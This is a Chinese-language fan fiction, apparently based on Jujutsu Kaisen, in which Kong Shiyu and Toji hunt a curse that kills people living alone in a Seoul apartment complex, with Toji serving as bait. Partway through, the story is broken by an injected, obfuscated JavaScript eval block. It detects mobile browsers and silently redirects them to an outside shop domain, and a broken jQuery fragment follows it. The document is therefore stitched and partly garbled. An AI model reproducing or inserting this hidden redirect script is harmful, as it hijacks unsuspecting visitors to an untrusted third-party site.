十一月下旬，下午五点半。
首尔的天已经开始暗下来。灰蓝色，干燥，风带着一点点冷意。窗外远处的山——首尔到处都是山——已经看不清轮廓，只剩下一道深一点的色块压在天底下。
孔时雨在阳台上抽烟。
公寓在汝矣岛附近的一栋旧楼里。十二层，南向阳台朝着汉江，晚上能看见对岸江北的灯。现在还没到亮灯的时候，江面在暮色里是铅灰色的，沿江马路上车的尾灯像一串一串移动的红点。
他靠在阳台栏杆上，右手夹烟。穿着白衬衫，袖子卷到手肘上方，跟在东京时一样。穿着拖鞋。烟夹着，没怎么抽。
甚尔在客厅里。隔着玻璃门孔时雨能看见他——坐在沙发上，右手翻一本什么。可能是孔早上从便利店带回来的那本汽车杂志。
左手平放着，手指并拢。
甚尔现在已经有左手了。
长完整大概两个月。手指都长出来了，指甲也有。但他用左手的方式还是不熟练，他放着它的时候比用它的时候多。
孔看了一眼那只放在膝盖上的左手。
手指没动。
孔回头，看江。
——
阳台旁边一个一米的鱼缸，比东京那个小一些。
来首尔之后他重新挑的。一开始没想要——他们到首尔的第一个月住在李泰院一个临时的小公寓里，没地方放鱼缸。后来搬到汝矣岛这边的长租，孔在仁川某个水族店里看到一缸，犹豫了大概一秒，买了。运回来花了半天。鱼是后来分几批挑的。
现在缸里有七条。三条蓝色、两条黄色、两条红色。比东京那一缸密度低点。他每天早晚各喂一次。
——
烟抽到一半，口袋里手机响了。
孔把烟叼在嘴里，伸手摸出来。
陌生号码。首尔区号。孔接起来。
“喂。”
电话那边沉默了一瞬——
“时雨哥。”
汉江上一艘小船刚刚开过。江面被船尾划出两道波纹，往两边散去。
孔从嘴里取下烟。
“您是？”
“是我。哲洙。金哲洙。”
——
孔沉默了。
他知道是谁，但他已经十年没听见这个名字了。
江上小船的波纹散到看不见了。
“……嗯。”孔说。“什么事？”
电话那边停了一下。然后金哲洙继续。
“哥，听说你回首尔了。我半年前听人提的。一直想打电话，没找到合适的事由。”
孔的烟在右手手指间慢慢烧。烟头红了一圈又一圈。
“今天打这个电话，有点不好意思。是有个事，我手里办不下来。”
“……”
“你现在做的那一行——听说你能办这种事。”
孔弹了一下烟灰。
“什么事？”
“电话里说不全。能不能见一面？”
——
孔的烟烧到接近过滤嘴。阳台对面江北的某栋楼开始亮灯，一格一格的窗户先后亮起来。
“你现在在哪里？”孔说。
“永登浦区警察署，重案股。”
孔抬手看了一眼烟，已经烧到指头，有点烫。他把烟头按熄在阳台栏杆下面的烟灰缸里。
金继续说，“明天上午方便吗？”
“明天上午十点。”
“好。地址我发短信给你。”
“好。”
“……哥。”
“……”
“谢谢。”
孔挂了电话，手机屏幕熄灭。
他在阳台上又站了大概一分钟，然后从烟盒里抽出新的一根点上。
这一根抽得比前一根快。
——
玻璃门那边，甚尔从沙发上抬眼看过来，杂志合上了。
他没说话，只是看着孔在阳台上的背影，孔知道他在看。
孔抽完第二根烟，拉开玻璃门进屋。
客厅里暖和一点。室内的灯还没开，只有窗外残余的光照进来。沙发上甚尔的轮廓比脸清楚。
孔走到沙发边，靠在扶手上。
甚尔抬头。
“明天有事。”孔说，“早上去永登浦。”
“——朋友？”甚尔说。
孔停了一下，没看他，“以前的同事。”
甚尔点了一下头。
——
过了一会儿。
“要去几天？”甚尔问。
“不知道。看情况。”
甚尔把杂志放在茶几上。他用左手抚了一下自己的右肩——这是他最近偶尔会做的小动作，像是让它熟悉一下身体。
孔看了一眼。
甚尔自己也注意到了，把左手放下来。
“吃饭吗？”他说。
“吃。”
“楼下那个。”
“行。”
两人出门。
玄关，浅木色的小托盘里，亮黄色和亮粉色的两个塑料戒指还放在那里。已经不亮了，电池用完了，但还在那里。
孔从两个戒指旁边拿走钥匙。
——
第二天早上九点半，公寓地下车库。孔在车里等。甚尔从电梯出来，走到副驾一侧拉开车门坐进来。深色长袖T恤，黑色裤子，外面套一件浅米色的薄外套。首尔十一月底的早上有点冷，比东京冷。
孔启动车。这边的车是来首尔之后买的，一辆深灰色的现代旧款。东京那辆丰田皇冠卖给了一个旧关系。
车开出地下车库，上九桥大道。
早上不太堵。江南方向的车更多，他们是反方向——往西，往永登浦。从汝矣岛过去走元晓大桥，过桥之后就是永登浦区。
甚尔靠在副驾的椅背上，看车窗外。
早晨的太阳还没什么温度，照在路面上、楼面上、车窗上，所有东西都被白光涂上一层冷色调。元晓大桥上能看见汉江，江面在白光下显得更宽。
过桥之后是永登浦。
这一片跟汝矣岛是两个时代。汝矣岛是七八十年代规划出来的金融区，宽马路，高楼整整齐齐。永登浦是首尔的老城区之一，窄街和旧楼的市井气，朝鲜族聚居、老市场、几十年的老餐厅都在这一片。
孔在一个红绿灯前停下。
路口右边是一个老市场的入口。红色的招牌，里面过道很窄，车窗缝隙能闻到一点干鱼和泡菜的味道。市场入口蹲着一个老太太卖白菜。
甚尔看了一眼。
“这边跟汝矣岛不一样。”他说。
孔“嗯”了一声。
红灯转绿。孔开过路口。
——
过去几个月里甚尔慢慢懂了一点韩语。听懂的多一些，能跟上大概三四成的日常对话。说的少，只在最小的场合用——便利店买东西的时候说“谢谢”、点餐的时候报菜名、问路的时候说几个地名。
再开十分钟，到永登浦警察署。
一栋八九十年代的老建筑。浅灰色外墙，正门口立着韩国警察的标志，蓝色加金色的徽章。门口停着几辆警车，是巡逻车的蓝白涂装。
警察署旁边有一片划线的停车位。孔把车停在街边。
——
警察署门厅，值班台。一个穿制服的年轻警员坐在后面，大概二十五六岁，正在看一份什么。他抬头看见孔和甚尔——
孔进门没看值班台，直接往里走。他的视线扫过门厅一周，步伐没犹豫——他知道往哪走。
那个年轻警员张了下嘴，大概是要问“找谁”。
但他没问出来。
孔已经走过去了。
年轻警员愣了半秒。然后他转头看了一眼孔身后的甚尔，视线在甚尔身上停了更长的几秒。
清秀的脸，什么都没有的眼神，搁在身侧有些不自然的左手。
甚尔从他面前走过去。
年轻警员转回头，继续看他手里的文件，然后再次抬头，盯着两个人的背影，伸手摸了一下电话，犹豫了一下又放下，视线落回文件。
——
孔走过门厅，左转，走廊里有几个人，穿制服的和穿便服的、提着卷宗的和捧着咖啡的。样子和气味跟孔记忆里的警察署完全一样。
走到一个标着「重案股」的门前。
孔停下，甚尔在他右后侧。
门半开着，里面是一个开放办公区。几张桌子、电脑、墙上贴着几张纸。最里面有一个单间办公室——股长的办公室，门也是半开的。
走廊那一头传来一个声音。
“——孔时雨？”
孔的手停在门把上。
他回头。从茶水间走出来一个老警察。六十出头，头发花白，穿便服。手里捧着一个不锈钢杯子。
老警察往孔这边看，眼睛眯了一下。
“是你吗？”
——
孔松开门把，转过身。
那个老警察走过来，穿着拖鞋。走得很慢，一只手扶着自己的腰。
走到孔面前两米远停下，眯眼看孔，然后笑了。
“——真的是你。差点没认出来。”
孔反应了一下。
“……朴课长。”
那个老警察笑得更深一些。
“——什么课长。早就退下来了。现在就是顾问，挂个名。”
他往孔身后看了一眼，看到甚尔。
“朋友？”
“同事。”孔说。
朴课长的眼睛又在甚尔身上短短扫了一下，然后看回孔。
“你来干什么？”
“找哲洙。有点事。”
“哲洙啊。”朴课长点点头。“他在里面。”
朴课长抬手拍了一下孔的右上臂，老年人的动作有点僵。
“过得怎么样？”
孔停了一秒。
“——还行。”
朴课长点点头，“嗯。走了那么多年。也没消息。我还以为你不在了。”
孔的眼睛在朴课长脸上停了一下。
然后他笑了，“还在。”
朴课长又拍了一下他的手臂，“办完事来我办公室。喝杯茶。”
“嗯。”孔说。
朴课长点点头。看了甚尔一眼。然后转身慢慢往走廊另一头走，拖鞋蹭着地板的声音。
——
孔站在原地，然后回头看了甚尔一眼。
甚尔没说话。
两人都没说话。
孔转回身，伸手推门，走进重案股。
——
重案股里。
五六张办公桌散在房间里，每张桌上都堆着文件，几台电脑，禁烟标志下的烟灰缸。墙上贴着几张案情简报和一张永登浦区的大地图。
桌前坐着两个穿便服的年轻刑警，正在看屏幕，听见开门抬起了头。
最里面的单间办公室门是半开的，门牌写着「重案股长金哲洙」。
孔走过去，敲了一下门框。
“进。”
——
办公室不大，大概十平米。一张办公桌。一个文件柜。窗户朝北。
金哲洙站起来。
他比孔小两三岁，中等个子。腰粗了一圈，办公桌加上应酬二十年的标准结果。头发往后退了一些。穿一件深灰色夹克，手腕上戴着一只看起来用了很多年的手表。
他从桌后走过来，到孔面前上下打量了一下。
“——哥。”
两人握了一下手。
金哲洙的眼睛在孔脸上停了一刻——
“老了。”他说。
孔笑了一下，“你也是。”
“比你还要老。”
金哲洙看到孔身后的甚尔，眉毛轻轻动了一下。像看见危险信号，但经过多年警察生涯的训练，不会在脸上表现出来。
然后他笑了一下。
“你好。”他对甚尔说。
“你好。”
金听出来是外国人，“能听懂韩语吗？”
“一点点。”甚尔
金哲洙转回头看孔，孔时雨：“说吧，我之后翻给他听。”
“嗯。”金哲洙说。“那就坐。”
——
三个人坐下。孔和甚尔在桌前，金哲洙回到桌后。
桌上有一个文件夹。金哲洙没立刻打开。先伸手从桌角的烟盒里抽出一根烟点上。
然后他把烟盒推到孔面前。
孔伸手拿了一根。点上。
他没问甚尔，甚尔平时不抽烟。
“——先说案子。”他说。
金哲洙打开文件夹，里面是四份卷宗，每份都不厚，明显是被反复翻过。他把第一份推到孔面前。
“三个月之内。永登浦区栗树洞，一个老小区，三益公寓，五栋楼。三个月里死了四个。全部独居，全部死在家里或者电梯，全部没外伤。”
孔翻开第一份卷宗。一张现场照片——一个老太太躺在自己家客厅的地上。
“李英顺。六十八岁。独居。九月十二日死。家属一个礼拜后才发现。验尸是心源性猝死，但没有既往病史。”
孔翻下一份。
“朴在权。四十三岁。便利店老板。十月二日死。死在店里后屋。心源性猝死，同样没有既往病史。”
“崔贤美。三十六岁。单亲妈妈。十月二十一日死。死在自家厨房。验尸脑血管意外，没既往病史。”
再翻下一份。
“李正植。五十四岁。出租车司机。十一月八日死。死在公寓的电梯里。心源性猝死，没既往病史。”
金哲洙吐出一口烟。
“验尸单独看每一个都说得通。四个加在一起说不通。”
孔点点头，“共同点？”
“独居、同一个小区、三个月内、死亡时间都在傍晚到深夜、全部没外伤，这些我刚才说了。别的——” 金哲洙停了一秒“——没找到。”
孔继续看卷宗。
“这四个人之前互相认识吗？”
“查过。不认识。一个老太太、一个便利店老板、一个单亲妈妈、一个出租车司机——年龄段、生活圈、社交，没有交集。”
“同一栋楼？”
“不同栋。一号楼、三号楼、四号楼、五号楼。但是同一个小区。”
孔点点头。
“金钱纠纷？”
“查了。都没有。这四个人经济状况都一般但不差。没有大额债务、没有奇怪的财务流水。”
孔翻到电梯那一份——
“出租车司机的电梯监控。”
“嗯。”金哲洙说。他打开电脑，按几下，把屏幕转过来。“你看。”
——
一段电梯监控，时长大概四十秒。
一个五十多岁的男人——李正植——走进电梯，穿出租车司机的外套，拎着一个塑料袋。他按楼层，七楼，然后靠在电梯角落。
电梯关门，启动。
李正植看着电梯门，很普通的姿势。
过了五秒，李正植的眼睛慢慢往左前方角落移动。
眼睛停在那里。
接着他的身体往后靠了一下，靠到电梯壁上，手里的塑料袋掉在地上。他往下滑，坐到了电梯地上。
眼睛还在看那个左前方角落。头慢慢低垂下来，一动不动。
电梯到七楼。开门，没人下。关门，电梯往下走。
李正植已经死了。
——
金哲洙暂停。办公室里一刻安静。
孔看着屏幕，左前方角落，他能看见。
那里坐着一个东西。
蜷缩的人形，不完整。头部低垂，看不清脸。手脚没有完整轮廓，融在身体里。整体颜色灰青，表面像有一层薄薄的浮尘。
它坐在那个角落，坐着等。
李正植走进电梯，它就在那里坐着。它没动，李正植也没看见它，直到五秒后李正植的眼睛慢慢挪过去，李正植看见了它，停下。
然后李正植复制了它的姿势。
李正植靠到电梯壁，它已经靠在角落。李正植滑下去，它已经坐着。李正植坐到电梯地上，它在那里坐了不知道多久。李正植的头低垂，它的头一直低垂。
李正植死成了它的样子。
——
孔没说话，然后看了一眼甚尔。
甚尔冲他挑挑眉。他感知到了，通过屏幕。
孔回头看金哲洙。
“——这个监控。还有谁看过？”
金哲洙看了孔一眼。
“我组里两个人。没别人。”
“上头？”
金哲洙摇头。
“验尸结果是心源性猝死。报告写到这里就停了。我自己留了底没上报。”
孔点点头，看回屏幕电梯里那个角落。
过了几秒，“——这个东西。”他说。“让人看见它。看见的人死成它的样子。”
金哲洙抽烟。
“四个人的死法。”孔说。“你看现场照片，他们倒下的姿势。”
金哲洙伸手，把四份卷宗往孔面前推一下。
孔翻开第一份，李英顺的现场照片，一个老太太蜷缩在客厅地上，头低垂，手脚收在身体下面。
第二份，朴在权，便利店后屋，靠墙坐着，头低下来。
第三份，崔贤美，厨房地上，蹲坐姿势，背靠橱柜，头垂在膝盖上。
第四份，李正植电梯里，已经看过了。
孔抬头看金哲洙。
“同一个姿势。”
金哲洙看着卷宗，然后抬头，视线停在孔的脸上。
“这四个人都独居。”孔说。“傍晚到深夜。家里或者电梯，独自一人的场合。”
“——嗯。”
“这个东西。是独居死亡累积起来的。”
金哲洙从烟盒里抽出第二根烟点上，深吸一口。
“栗树洞这种小区。”他说，“独居老人多。这十年，孤独死，一年好几个。”
“嗯。”
过了几秒，金哲洙：“——报价。”
“三千万韩元。”
金哲洙的眉毛轻轻动了一下。
“一千万先付。两千万尾款。”
金哲洙吐烟。
然后他点了一下头。
“OK。”
——
孔点点头。
“什么时候去现场？”
“现在就可以，我开车带你去。”
“好。”
金哲洙站起来按掉烟，从桌上拿钥匙。
走到门外的开放办公区，他对那两个年轻刑警说，“我出去两小时。栗树洞。”
“是。”两个年轻刑警齐说。
金哲洙往走廊走。孔和甚尔跟在后面。
经过茶水间，朴课长正站在茶水间门口端着不锈钢杯子。他看见三个人走过，眼睛在金哲洙身上停了一下，然后看了孔一眼，没说话。
孔点了一下头。
三人继续往前走。
——
栗树洞三益公寓。
从永登浦警察署开过去不到十分钟。一片八十年代建的老公寓，五栋楼围成一个小区，每栋楼七层。外墙是浅黄色，褪色严重，有些地方露出底下的灰色水泥。窗户是老式的铝合金窗，很多家阳台外面伸出一根晾衣杆。
金哲洙把车停在小区门口的路边。
十一月底的中午，小区里没什么人。几个老人在小区中间的长椅上坐着晒太阳，互相不说话。一两个学龄前小孩在花坛边玩。一只流浪猫从一辆停放的车底下钻出来跑过去。
甚尔的步伐一进门就放慢了一步。
空气的密度变了。后颈的汗毛在动。
孔注意到甚尔的步伐变化。
“什么样？”他问。说的日语。
“压力。”甚尔说。“一片一片的，强弱不一样。”
“哪些位置？”
“电梯方向最强。其他几栋楼下面、靠中间这一片也都有。”
孔点点头，回头对金哲洙——
“它在小区里游走。”孔说。“电梯是它最常停的位置，其他地方是路过留下来的。”
金哲洙点点头。
——
走过中庭。
经过一号楼，李英顺的楼。
孔抬头看上去。七层的楼。李英顺住三楼。那扇窗挂着窗帘。
在三楼那扇窗户的窗台上，孔看见一片浅浅的灰青色，比电梯里那个咒灵淡很多，像是它路过时留下的痕迹。它前几个礼拜在那里坐过。
三号楼，朴在权的楼。也有痕迹。也很淡。
经过四号楼，崔贤美的楼。痕迹。
经过五号楼，李正植的楼。痕迹最浓——因为电梯里最新的一次发生。
孔停下。
“那个电梯。”
金哲洙点点头。
——
五号楼的入口。老式的单元门，门厅很小，电梯在右手边。
金哲洙按了一下电梯按钮，电梯下来，叮——
电梯里没有人。
但有那个东西。
——
孔在门口停下。
甚尔在他左侧。甚尔的呼吸频率没变，但孔能感觉到甚尔的整个身体在那一瞬间进入了战斗待机状态，就像猫看见鸟的时候。
电梯里，左前方角落，那个东西坐在那里。
现场看比监控里清楚十倍。
蜷缩的人形。比一个成年人小一些。头部低垂，看不清脸。手脚没有完整轮廓，像是被身体本身吃进去了。青灰色，表面有一层非常薄的浮尘。
它没注意三人。
它在等着独自走进电梯的人。
——
孔抬手，不让金哲洙进电梯。回头对甚尔，“能感觉到吗？”
“能。”
“位置？”
“左前方。”
孔点点头。
“它不一定一直在电梯。它在小区里游走。但电梯是它最常回来的地方，大概因为李正植是最近的一次。”
甚尔“嗯”了一声。
电梯门快要自动关上了，金哲洙伸手按住门按钮。
孔看着电梯，再看那个东西。它的头依然低垂，它没注意到他们的视线。
过了几秒，孔说，“——撤。”
金哲洙松开按钮，电梯门关上了。
三人退到楼外。
——
中庭，孔点了一根烟。
“怎么办？”金哲洙问。
“它在小区里游走。我们得让它待在一个固定位置，没人看见的，然后处理掉。”
“怎么让它待在一个位置？”
孔看了一眼五号楼。
“它每次出现都是傍晚到深夜。它需要一个独居的人作为目标引它出来。”
金哲洙的眼睛在孔脸上停了。
“……你的意思是。”
孔吐了一口烟。
“一个诱饵。”
金哲洙看着孔，又看甚尔。
“他做诱饵？”金哲洙说。指甚尔。
“嗯。”孔说。
金哲洙停了两秒。
“他能扛得住吗？”
孔笑了一下。
“他这种身体，看不见也不会怕，它的‘看见你的死法’这一招对他没用。”
金哲洙重新看了甚尔一眼，然后点点头。
——
甚尔在旁边听完。他的韩语水平能跟上大部分，没什么反应。
过了一秒甚尔说，“今晚？”
“今晚。”孔说。
“哪栋楼？”
“五号楼。痕迹最浓。”
“空房间？”
孔回头看金哲洙。
“五号楼有没有现在空着的房子？最好就是李正植的房子。”
金哲洙看了孔一眼。
“李正植的房子，家属上礼拜刚清理完。还没卖，现在空的。”
“清到什么程度？”
“遗体处理完之后家属来打扫过。私人物品收走了，家具家电还在。”
孔点点头。
“好。钥匙拿来”，金哲洙正要打电话，孔伸手，“——还有一个事。”
金哲洙看孔。
“告诉家属，不要再清理，不要再动任何东西。今晚之前保持现在的样子。”
金哲洙点了一下头。
“这个东西识别独居者的痕迹。李正植的房子现在还有他的痕迹，这是我们的便利。”
“明白。”
他往边上走几步，掏出手机打电话。
孔回头对甚尔，“你一个人进去，我在车里。”
“嗯。”甚尔说。
“——开电视、吃东西、洗澡、上床。独居者怎么做你怎么做。”
“嗯。”
“等它感知到你，你自己处理。”
“嗯。”
甚尔想起来什么。
“——咒具。”
“短刀。我给你搞一把。”
甚尔点点头。
孔看了一眼甚尔的左手。
“别用左手做关键动作。左手做辅助。”
“知道。”
“好。”
——
金哲洙挂了电话回来。
“下午三点家属把钥匙送到警察署。”
孔“嗯”了一声。
金哲洙看了一眼孔，犹豫了一下，“——还有一个事。”
孔等他说。
“钱的事。”金哲洙说。“我去搞。”
孔点点头。
两人没再多说。金哲洙抽出烟，把烟盒推过来，孔抽一根，两人点上。
甚尔没抽烟，看着五号楼。
中庭的几个老人没注意他们。
太阳偏西一点。
——
下午三点。三人在永登浦警察署门口的便利店里。
李正植的儿子送钥匙过来。他四十出头，跟金哲洙差不多年纪。一个塑料钥匙扣，三把钥匙，大门一把、电梯卡一张、信箱钥匙一把。
儿子把钥匙递给金哲洙。眼睛有点红。“爸的事情。能查清楚吗？”
金哲洙：“——我们在尽力。”
儿子点点头，转身走了。
金哲洙看着儿子的背影，把钥匙递给孔。
——
下午四点半。车上。
孔在车里打开一个布包，里面是一把短刀。刃长大概二十五厘米，单刃，握柄缠着深色的布。刀刃上看不到任何咒纹，但孔能看见刀的咒力残留，附咒新鲜，上等做工。
甚尔在后座，孔回头把短刀递过去。
甚尔单手接过，掂一下重量，右手握住刀柄做了一个挥砍的动作，很顺。
“不错。”
甚尔把短刀收回布包——放在自己身边。
——
傍晚六点。天已经全黑。
三人开车回到栗树洞。
金哲洙把车停在5号楼的对面，大概三十米外，视线开阔，能看见5号楼的入口和一到五楼的窗户。
甚尔下车。背着布包，里面是短刀和一些小东西，便利店饭团、一罐啤酒、一包烟。
他走过马路。走进5号楼的入口。
孔和金哲洙在车里看着他的背影消失在入口里。
——
手机响了，是甚尔的电话。孔按下免提，放在中控台上。
“进电梯了。”甚尔的声音。
过了几秒，“电梯里有它的痕迹。但它现在不在。”
“了解。”
“五楼到了。”
开门声，脚步，钥匙转动声。
“进去了。”
关门声。
——
手机里。安静的老公寓。
甚尔的脚步声。客厅，厨房，卧室，再回客厅。他在检查房子。
过了几分钟，“房子没问题。家具家电都在。烟灰缸里有他抽完的烟头。冰箱里还有他买的东西。”
孔应了一声。
“我开电视了。”
电视声音从手机里传过来。一个韩语综艺节目，男的女的在说话，有笑声，有片头音乐。
甚尔的脚步，“他冰箱里有泡菜、有一些豆腐、有半瓶酱油。”
“嗯。”
“我吃饭团。”
甚尔坐下来——椅子拖动的声音，吃东西的声音。
——
孔在副驾抽烟。
金哲洙侧脸看着5号楼。
过了一会儿，“他能听懂电视里在说什么吗？”金哲洙说。
“——他听得懂一些。”孔说。“大部分听不懂，但是没关系，有声就行。”
金哲洙点点头。
——
傍晚七点半。
甚尔在房子里吃完饭，喝了啤酒，把空罐子放进垃圾桶，位置跟现场照片里李正植的习惯一致。然后继续看电视。
手机扬声器里，甚尔的呼吸慢慢平了下来。
——
八点。
甚尔起来去浴室。水声持续十五分钟。
甚尔回到客厅，“洗完了。”
“好。”孔说。
“你那边怎么样？”甚尔问。
孔向5号楼，“还没看见它。”
——
九点。
甚尔躺到床上。李正植的床，李正植的被子。电视开着，音量调低，李正植睡前的习惯。
甚尔躺下之后没说话。
手机扬声器里是电视和甚尔呼吸的声音。
——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533144|202172||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
九点二十分。孔在车里坐直。
金哲洙看他一眼。
“看见了。”孔说。
5号楼外面，一团灰青色的东西从隔壁四号楼的方向慢慢挪过来。它沿着小区的甬道走，到5号楼楼下，抬“头”看上去。
孔对着手机说，“甚尔，它来了。在楼下。”
手机扬声器里甚尔的呼吸没变，但孔知道他的身体进入状态了。
5号楼楼下，那个东西进入楼里。
孔对手机，“进楼了。”
“嗯。”
——
过了大概一分钟。
手机扬声器里甚尔的呼吸。
“感觉到了，门外。”
孔的眼睛在5号楼五楼的窗户上。
“它要进来了。”甚尔说。
一阵布料摩擦的声音——甚尔从床上下来，脚踩到地板。短刀出鞘的金属声，很轻。甚尔的脚步从卧室往客厅。
门没开。
但是房子里的空气变了，孔能听出来。电视的声音在那一刻被压低了一度。
它穿墙进来了。
甚尔停下脚步，“在客厅。”
“好。”孔说。
甚尔的脚步很快，一步——短刀挥砍的声音。
没击中，空挥，甚尔的脚步往侧面，“它躲开了。”
再一刀，砰——
什么东西被撞翻，茶几或者椅子。
“它在沙发后面。”甚尔的脚步绕过沙发。
这一声很闷，像是切中一个热水袋。
然后是一种嗡鸣，从极低频率升起，破裂的声音——咒灵被消灭的声音。
空气恢复，电视声音重新响起来。
扬声器里甚尔深呼吸三次，然后慢下来。
“好了。”甚尔说。
——
孔抽了一口烟。
“干净了？”
“干净了。”
“——你有事吗？”
甚尔停了一秒。
“没事。左手有点，但没事。”
“你过来吧。”甚尔说。
孔挂了电话。金哲洙坐在驾驶座没动。他听完了整个过程。
他从烟盒里抽出一根烟点上，深吸一口，慢慢吐出来。
孔看了他一眼，“走。”两人下车。
——
5号楼入口旧荧光灯闪了一下又稳下来。电梯门关着。金哲洙按按钮，叮——
那个东西不在那个角落。痕迹也淡了。
孔点点头。金哲洙按五楼。
503号门半开着。
甚尔站在客厅。短刀已经收回布包，挂在他右肩上。他穿着李正植的拖鞋。
客厅里，茶几歪了，一个杯子翻倒在地上，地板上溅了水。沙发被推开了大概二十公分。其它都还好。
电视还开着，综艺节目的主持人正在大笑。
甚尔看见孔，擦了两下手，“干完了。”
孔的视线在客厅扫了一圈，没有痕迹，咒灵完全消失了。只剩下被战斗带动的家具。
金哲洙也走进来，他看见的是一个打过架的客厅。
“——左手。”孔回头对甚尔。
甚尔伸出左手——有点轻微的颤动。
孔伸手握住甚尔的左手。手腕的温度比平时高一点，不算烫。
孔握了大概五秒后松开。
“只是用力过头。回家敷一下。”
“嗯。”甚尔说。
——
金哲洙在旁边看见孔握甚尔的左手，他没说话。
他看了一眼甚尔的左手——孔的握法，又看了一眼孔，然后转开。什么也没说。
甚尔单手把茶几扶正，把翻倒的杯子捡起来放回桌上，然后去厨房拿了一块抹布回来，擦地板上的水。擦完回厨房把抹布扔进水池。洗手。
回到客厅，沙发还推开二十公分。甚尔单手推回原位。
客厅恢复成进来之前的样子。
孔关掉电视。
突然的一刻安静。
——
甚尔把空啤酒罐放进背包，烟灰缸里几个烟头用纸巾包起来，也塞进去。
他在房子里最后扫一眼，再看一眼孔。
“走吧。”
三人离开503。
电梯里，三个人站在中间。那个角落空着。
——
小区中庭，晚上九点四十分。长椅上坐着的老人都回家了。几扇窗户里有灯，暖暖的浅黄色，千家万户的标准晚上。
走到小区门口，甚尔回头看了一眼。
——
三人往回走，金哲洙开车。
过元晓大桥，金哲洙在某个路口转弯——一个孔不太熟的方向。
孔在副驾，“去哪？”
“吃饭。”金哲洙说。“我请。”
——
车开了大概十五分钟，过了永登浦的几条窄街，停在一家店门口。
「家山猪骨汤」，底下几个小字写着「已营业四十年」。
店面不大。门口堆着几个塑料筐，里面是空的烧酒瓶。门玻璃上贴着褪色的菜单图片。从门外能闻见猪骨汤的浓香，肉、土豆、辣椒粉。
三人进店。
里面四张桌子，一个吧台，一个负责煮汤的阿姨和收银的老板娘。这个点还有两桌客人。两个中年男人在喝酒，一个独自吃饭的工人。
老板娘看见金哲洙，“——哲洙啊。今天人多。”
“三个人。”金哲洙说。“里面那桌行吗？”
三人走到最里面那张桌子坐下。靠墙的卡座。金哲洙坐里面，孔在另一面外侧，甚尔坐孔对面。
老板娘走过来，“猪骨汤大份。”金哲洙说。“两瓶烧酒，三碗米饭。”
老板娘点点头，回吧台。
金哲洙脱了夹克，里面是一件深灰色的针织衫。他看上去比在警察署里松弛一点。
孔抽烟。
甚尔把布包搁在自己脚边，单手把外套脱了搁在身边。
过了一会儿猪骨汤来了。一个大锅，放在桌子中间的卡式炉上，汤里浓浓的红色辣椒粉、大块的猪骨头、土豆、卷心菜、苏子叶，咕嘟咕嘟煮着。米饭三碗、烧酒两瓶，绿色的玻璃瓶和三个白色的小杯子。
金哲洙拿起一瓶拧开。
他给孔倒，然后给甚尔倒，没问，倒满了。然后给自己倒。
金哲洙先端起来，三个杯子在中间轻轻碰了一下。
没说话。三人各自一口喝完。
甚尔喝了一口后眉毛动了一下，他把杯子放下。
金哲洙看见了，笑了一下。
“辣？”金哲洙问甚尔。
“辣。”甚尔说。
“这个比日本酒冲。”金哲洙说。
甚尔点点头。
金哲洙给三个杯子倒了第二杯。
——
汤开了，锅里咕嘟咕嘟，老板娘拿来一个长柄勺，金哲洙接过来，把猪骨捞起来分到三个小碗里，一人一块大的。
然后他舀汤，土豆和卷心菜分到三个碗里。
最后他拿起自己的饭碗，倒了一些汤进米饭里——吃猪骨汤的标准方法。
孔也这样做。
甚尔看了一眼，然后单手做了一遍。他先把汤勺在桌上放好，用右手端米饭碗到锅边放下，再用右手拿勺舀汤倒进米饭。
金哲洙在旁边看见，没说话。
——
一开始只有勺子、碗、汤的声音。店里另一桌中年男人低声说话，独自吃饭的工人在看手机。
甚尔用左手稳住骨头，右手撕肉，动作有点滞涩——刚才战斗后左手有反应。
金哲洙的眼睛短暂地停在甚尔的吃法上，又重新看回自己的猪骨继续吃。
大概十分钟，三人吃得差不多了，金哲洙倒了第三杯酒。
然后金哲洙看孔，“——过得怎么样？”
孔停了一下。
“还行。”
金哲洙点点头。
两人都看着桌上，没看对方。
过了一会儿金哲洙，“在日本待了多久？”
“差不多十年。”
“什么时候回来的？”
“八个月前。”
“以后留在首尔？”
“看情况。”孔说。
金哲洙点点头。
——
过了一会儿，“——孩子大了吧？”孔问。
金哲洙笑了一下，“大学二年。”
“男孩女孩？”
“女儿。”
金哲洙拿起烧酒瓶，倒第四杯。“她说要去美国读研究生。”
“真不错。”
“一年要五千万。”
“……”
“——还在攒。”
孔点点头。
甚尔在旁边，他听懂了一些，女儿、美国、研究生、五千万。他没说话，伸手拿起卡式炉边一块剩下的卷心菜，用右手放进嘴里。
——
过了一会儿，金哲洙看了看时间。
“十一点了。”他说。“再不走我老婆要打电话了。”
孔笑了一下。金哲洙抬手喊老板娘结账。
最后一杯。金哲洙端起杯，“下次见。”
三个杯子轻轻了碰一下。一口喝完。
——
门口，“我送你们回警察署取车。”金哲洙说。
“不用。”孔说。“——我打车。”
金哲洙看孔，“也行。”没坚持。
金哲洙站在自己车门旁边，“尾款下礼拜过去。”
“行。”
“账户跟之前那个一样？”
“一样。”
金哲洙抬手拍了一下孔的右上臂，跟上午朴课长拍的位置一样。
“保重。”
“你也是。”
金哲洙看了甚尔一眼，蹩脚的日语，“——保重。”
甚尔点点头。
金哲洙开走了。
——
孔时雨和甚尔站在店门口。
十一月底的首尔，晚上十一点多，很冷。风有点湿——首尔的冬天会下雪——但今晚还没。
甚尔用右手把外套拉链拉到最上面。
孔站在他旁边，抬手打车。
——
首尔的夜路。中央分隔带的银杏树在街灯下还能看见一些黄叶。十一月底大部分叶子已经落了，但有些枝条上还挂着，风过的时候它们会一片一片掉下来。
司机是个五十多岁的男人，开着收音机，电台里在播一档夜间节目，主持人慢慢说话，背景音乐很轻。
甚尔靠在后座，两人都没说话。
过了几分钟，电台里的节目换了。
主持人说了一段话——
一首歌的前奏。
吉他和钢琴，慢慢地铺开，一个男人的声音开始唱。
甚尔抬起眼，他听过这一首。
茨城海岸那天清晨在车里听过，孔单手开车的那一段公路。
歌词他依然听不懂。但这次甚尔知道这首歌叫什么了。
